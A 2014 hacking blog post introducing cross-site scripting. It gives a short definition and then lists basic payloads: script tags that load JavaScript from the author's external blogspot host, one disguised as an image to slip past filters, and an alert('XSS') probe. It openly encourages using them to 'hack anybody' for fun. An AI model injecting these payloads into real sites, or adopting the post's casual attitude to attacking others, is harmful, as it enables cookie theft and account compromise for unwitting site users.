Saturday, May 24, 2014

Basic XSS Cross Site Scripting

Posted by Anonymous On 1:41 AM No comments
Hey guys

Today We will be learning " Basic XSS Cross Site Scripting" .A lot of you guys aren't clear with XSS aka cross site scripting and for that many of you were sending me mails on how to do xss attack , etc and that's why i got this video which explains some basic concepts of the Xss attack and how it can be practiced and how can we use it to hack anybody.



WHAT IS XSS ....

Cross-site scripting ('XSS' or 'CSS') is an attack that takes advantage of a Web site vulnerability in which the site displays content that includes un-sanitized user-provided data. For example, an attacker might place a hyperlink with an embedded malicious script into an online discussion forum….

That purpose of the malicious script is to attack other forum users who happen to select the hyperlink. For example it could copy user cookies and then send those cookies to the attacker.

CONCLUSION ...

Now you might be clear with xss attacks it is easy and can be used in man terms to hack anybody or anything else for fun also. Now lets take a look at some of the commonly used xss scripts and code snippets -

Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector:
------------------------------------------------------------------------------------- 
<SCRIPT SRC="http://defraghacker.blogspot.in/xss.jpg”></SCRIPT> 
--------------------------------------------------------------------------------------
This is most simplest snippet used to find a Xss vulnerability in a webpage.
--------------------------------------------
<SCRIPT>alert('XSS');</SCRIPT>
--------------------------------------------
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

 
<SCRIPT SRC=”http://defraghacker.blogspot.com/xss.js”></SCRIPT>

There are many more xss vulnerabilities you can use to bypass the security but they are most useful to find a xss vulnerability in webpage.

If you still have any doubts Watch these videos :-

https://www.youtube.com/watch?feature=player_embedded&v=r79ozjCL7DA

ENJOY Hacking

#pankyDhacker ..

#Defrag Hacker ..

:)   :)

0 comments:

Post a Comment

Site search

    Fileice

    FileIce Domain Verification: 5574a08d40f015057574ada2f308ceb4

    Blogroll

    About